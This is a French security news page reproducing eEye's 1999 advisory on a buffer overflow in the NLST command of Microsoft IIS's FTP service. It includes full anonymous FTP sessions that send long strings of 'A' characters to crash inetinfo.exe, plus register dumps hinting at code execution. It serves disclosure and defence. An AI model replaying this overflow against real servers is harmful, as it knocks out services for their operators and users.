eEye met en garde contre un bug des serveurs Microsoft...
eEye nous a prévenu et nous a proposé de nous faire l'écho de ce bug qui permet de planter tous les services en cours sur une machine dans un environnement IIS si le serveur FTP est en route et qu'il accepte des connexions en mode anonymous. Nous nous faisons donc l'écho de ce problème. Non pas parce que nous espérons qu'il aidera de jeunes idiots à faire tomber des serveurs, mais parce que nous espérons que quelques administrateurs de réseaux en France liront ces lignes et que cela les aidera à protéger leurs réseaux. Même si l'on désespère. On vous vous explique là pourquoi les admin réseau (et les décideurs) nous désespèrent. Vous allez voir, ç'est sanglant... Phun en tous cas... [oui, on sait que fun s'écrit fun et pas phun...]
Au passage, pour ceux qui utilisent une version de TCP Wrappers datant d'après le 21 janvier , faites un tour sur le serveur du CERT.
Voici donc l'advisory de eEye:
IIS Remote FTP Exploit/DoS
Attack
Systems Affected
Windows NT 4.0 (SP4) IIS 3.0 / 4.0
Windows 95/98 PWS 1.0
Release Date
Sunday, January 24, 1999
Advisory Code
IISE01
Description:
While feeding in logic into Retina's artificial intelligence engine, which helps construct
query strings to pass to internet servers, checking for overflow bugs and miss parsing of
command strings. Our test server stopped responding. Below is our findings.
Microsoft IIS (Internet Information Server) FTP service contains a buffer overflow in the
NLST command. This could be used to DoS a remote machine and in some cases execute code
remotely.
Lets look at the following example attack. The server must either have anonymous access
rights or an attacker must have an account. FTP Session was initiated from an NT Machine.
The following Example was tested on Wondows NT 5.0 beta 2 ftp client, Windows 9x and NT
4.0 ftp clients will not allow you to overflow the buffer from the command prompt, and you
will have to code your own NLST command to perform the buffer overflow.
We are waiting for microsoft to release a fix then we will release a program that will
demonstrate the DoS.
C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
ftp> ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
[The server has now
processed our long NLST request and has crashed]
-> ftp: get :Connection reset by peer
[Our ftp client looses connection... that is a given]
The above example uses 316
characters to overflow. This is the smallest possible buffer to pass that will overflow
IIS. Lets take a look at the server side happenings.
On the server side we have an "Application Error" message for inetinfo.exe.
"The instruction at '0x710f8aa2' referenced memory at '0x41414156'. The memory could
not be 'read'." If we take a look at our registers we will see the following:
EAX = 0000005C EBX = 00000001
ECX = 00D3F978 EDX = 002582DD
ESI = 00D3F978 EDI = 00000000
EIP = 710F8AA2 ESP = 00D3F644
EBP = 00D3F9F0 EFL = 00000206
There is no 41 hex (Our
overflow character) in any of our registers so we chalk this up as a DoS attack for now.
Lets move on and take a look at the largest string we can pass to overflow IIS.
C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
ftp> ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
Connection closed by remote host.
In this case we passed 505
characters to overflow IIS. This is the largest possible (tested) buffer to pass that will
overflow IIS. Lets take a look once again at the server side.
On the server we have the same "Application Error" message for inetinfo.exe
except this time "The instruction at '0x722c9262' referenced memory at
"0x41414141'." This is looking mighty interesting. Lets look at our registers
once again:
EAX = 00000000 EBX = 41414141
ECX = 41414141 EDX = 722C1CAC
ESI = 41414141 EDI = 41414141
EIP = 722C9262 ESP = 00D3F524
EBP = 00D3F63C EFL = 00000246
There sure are a lot of 41
hex codes in our registers now.
So to wrap it all up what we have here is a DoS attack against any IISserver with ftp
access. Keep in mind we have to be able to login. However, Anonymous access is granted on
most servers. Once we have overflowed IIS all IIS services will fail. (I.E. The web
service, NNTP, SMTP etc..) What we have seems to be a very interesting buffer overflow.
Special Thanks
The eEye Digital Security Team would like to extend a special thanks to Mudge and Dildog.
Copyright (c) 1999 eEye Digital Security
Team
Permission is hereby granted for the redistribution of this alert electronically. It is
not to be edited in any way without express consent of eEye. If you wish to reprint the
whole or any part of this alert in any other medium excluding electronic medium, please
e-mail alert@eEye.com for permission.
Disclaimer:
The information within this paper may change without notice. Use of this information
constitutes acceptance for use in an AS IS condition. There are NO warranties with regard
to this information. In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this information. Any use of
this information is at the user's own risk.
Please send suggestions, updates, and comments to:
eEye Digital Security Team
http://www.eEye.com
info@eEye.com